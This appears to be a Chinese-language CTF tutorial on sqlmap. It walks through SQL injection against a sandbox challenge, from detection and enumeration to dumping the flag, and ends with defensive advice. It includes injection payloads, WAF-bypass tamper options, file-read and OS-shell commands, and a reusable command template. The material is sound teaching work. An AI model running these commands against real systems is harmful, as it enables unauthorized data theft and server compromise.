什么是 sqlmap
sqlmap 是一款开源的自动化 SQL 注入工具,支持检测和利用多种类型的 SQL 注入漏洞,能够自动识别后端数据库类型、枚举数据库结构、提取数据,甚至获取操作系统 shell。在 CTF 比赛和渗透测试中,它是处理 SQL 注入效率最高的工具之一。
安装
方式一:直接克隆源码(推荐)
1git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
2cd sqlmap
3python sqlmap.py --version
方式二:包管理器安装
1# Debian/Ubuntu
2sudo apt install sqlmap
3
4# macOS
5brew install sqlmap
6
7# Python pip
8pip install sqlmap
核心参数速查
| 参数 | 说明 |
|---|---|
-u URL | 指定目标 URL |
--data "data" | POST 数据包 |
-p "param" | 指定测试参数 |
--tables | 枚举所有表名 |
--columns -T table | 枚举指定表的列名 |
--dump -T table | 导出指定表的数据 |
--dump -C col -T table | 导出指定列的数据 |
-D dbname | 指定数据库名 |
--dbs | 枚举所有数据库 |
--batch | 自动选择默认选项,无需交互 |
--threads 10 | 设置线程数,加快检测速度 |
--level 1-5 | 检测等级,默认 1,越高测试越全面 |
--risk 1-3 | 风险等级,默认 1,越高越激进 |
--technique | 指定注入技术(如 B,E,U,T,Q) |
--os-shell | 获取操作系统 shell(需要权限) |
--file-read /path | 读取服务器文件 |
--tamper | 使用 tamper 脚本绕过 WAF |
实战:CTF 中的标准操作流程
以下以一次真实的 CTF 题目为例,展示完整的 sqlmap 利用链。
题目环境
1http://challenge-fd9b924ef336b5fa.sandbox.ctfhub.com:10800/?id=1
Step 1:检测注入点
直接使用 -u 参数让 sqlmap 自动检测:
1python sqlmap.py -u "http://challenge-fd9b924ef336b5fa.sandbox.ctfhub.com:10800/?id=1"
sqlmap 会自动测试各种注入技术(布尔盲注、报错注入、时间盲注、UNION 注入等)。如果过程中弹出交互式提问,可以加上 --batch 自动选择默认答案。
检测结果示例:
1Parameter: id (GET)
2 Type: time-based blind
3 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
4 Payload: id=1 AND (SELECT 6044 FROM (SELECT(SLEEP(5)))rMiZ)
5
6 Type: UNION query
7 Title: Generic UNION query (NULL) - 2 columns
8 Payload: id=-5486 UNION ALL SELECT CONCAT(...),NULL-- -
检测到两种注入方式:时间盲注 和 UNION 注入。
Step 2:枚举数据库
1python sqlmap.py -u "http://target/?id=1" --dbs
输出:
1[*] information_schema
2[*] performance_schema
3[*] mysql
4[*] sqli
CTF 中 flag 通常放在自定义的数据库里,这里锁定 sqli。
Step 3:枚举表名
1python sqlmap.py -u "http://target/?id=1" --tables
默认会枚举所有数据库的表。如果已知数据库名,可以加 -D 限定范围:
1python sqlmap.py -u "http://target/?id=1" -D sqli --tables
输出:
1Database: sqli
2[2 tables]
3+-------+
4| flag |
5| news |
6+-------+
Step 4:枚举列名
1python sqlmap.py -u "http://target/?id=1" -T flag --columns
输出:
1Database: sqli
2Table: flag
3[1 column]
4+--------+--------------+
5| Column | Type |
6+--------+--------------+
7| flag | varchar(100) |
8+--------+--------------+
Step 5:导出数据
导出整张表:
1python sqlmap.py -u "http://target/?id=1" -T flag --dump
仅导出指定列(节省时间和请求数):
1python sqlmap.py -u "http://target/?id=1" -T flag -C flag --dump
输出:
1Database: sqli
2Table: flag
3[1 entry]
4+----------------------------------+
5| flag |
6+----------------------------------+
7| ctfhub{a9f73a04458ea72566850f8a} |
8+----------------------------------+
Flag 到手。
进阶技巧
1. 自动模式(无人值守)
CTF 中为了快速出结果,通常加 --batch 跳过所有交互确认:
1python sqlmap.py -u "http://target/?id=1" --tables --batch
2. 限定注入技术
如果已知是 UNION 注入,可以用 --technique=U 跳过其他检测,大幅提速:
1python sqlmap.py -u "http://target/?id=1" --technique=U --tables
技术代号对照:
B:布尔盲注E:报错注入U:UNION 注入S:堆叠查询T:时间盲注Q:内联查询
3. 提高检测深度
默认 --level=1 --risk=1 可能检测不到某些注入点。遇到疑似注入但 sqlmap 没报的情况,可以提升等级:
1python sqlmap.py -u "http://target/?id=1" --level=3 --risk=2
注意:level 和 risk 越高,发送的请求越多,对目标的压力越大。CTF 中通常没问题,生产环境谨慎使用。
4. 使用 Tamper 绕过 WAF
目标有 WAF 拦截时,可以尝试编码绕过:
1python sqlmap.py -u "http://target/?id=1" --tamper=space2comment,charencode
常用 tamper:
space2comment:空格替换为注释charencode:URL 编码base64encode:Base64 编码randomcase:随机大小写
查看所有 tamper:
1python sqlmap.py --list-tampers
5. Cookie 注入与请求头注入
有些注入点不在 URL 参数,而在 Cookie 或请求头中:
1# Cookie 注入
2python sqlmap.py -u "http://target/" --cookie="id=1*" --tables
3
4# User-Agent 注入
5python sqlmap.py -u "http://target/" --user-agent="Mozilla/1*"
6
7# 注入点用 * 号标记
6. 读取服务器文件
如果数据库用户有 FILE 权限,可以读取服务器上的文件:
1python sqlmap.py -u "http://target/?id=1" --file-read="/flag"
7. POST 注入
POST 请求的注入点:
1python sqlmap.py -u "http://target/login" --data="username=admin&password=1"
8. 指定参数测试
当请求中有多个参数,只想测试其中一个:
1python sqlmap.py -u "http://target/?id=1&name=test" -p id --tables
完整 Payload 模板
1# 全自动探测
2sqlmap -u "URL" --batch
3
4# 数据库 → 表 → 列 → 数据
5sqlmap -u "URL" --dbs --batch
6sqlmap -u "URL" -D database --tables --batch
7sqlmap -u "URL" -D database -T table --columns --batch
8sqlmap -u "URL" -D database -T table -C column --dump --batch
9
10# 一键出 flag(已知表名列名时)
11sqlmap -u "URL" -D sqli -T flag -C flag --dump --batch
防御建议
- 参数化查询(Prepared Statements):彻底杜绝 SQL 注入,所有后端语言都原生支持
- ORM 框架:使用 Django ORM、SQLAlchemy、MyBatis 等,避免手动拼接 SQL
- 最小权限原则:应用数据库账号只赋予 SELECT/INSERT/UPDATE 必要权限,禁止
FILE、LOAD DATA等危险权限 - 关闭错误回显:生产环境不暴露数据库报错信息
- WAF 防护:部署 ModSecurity、雷池等 WAF 作为第二层防护,但不能替代代码层修复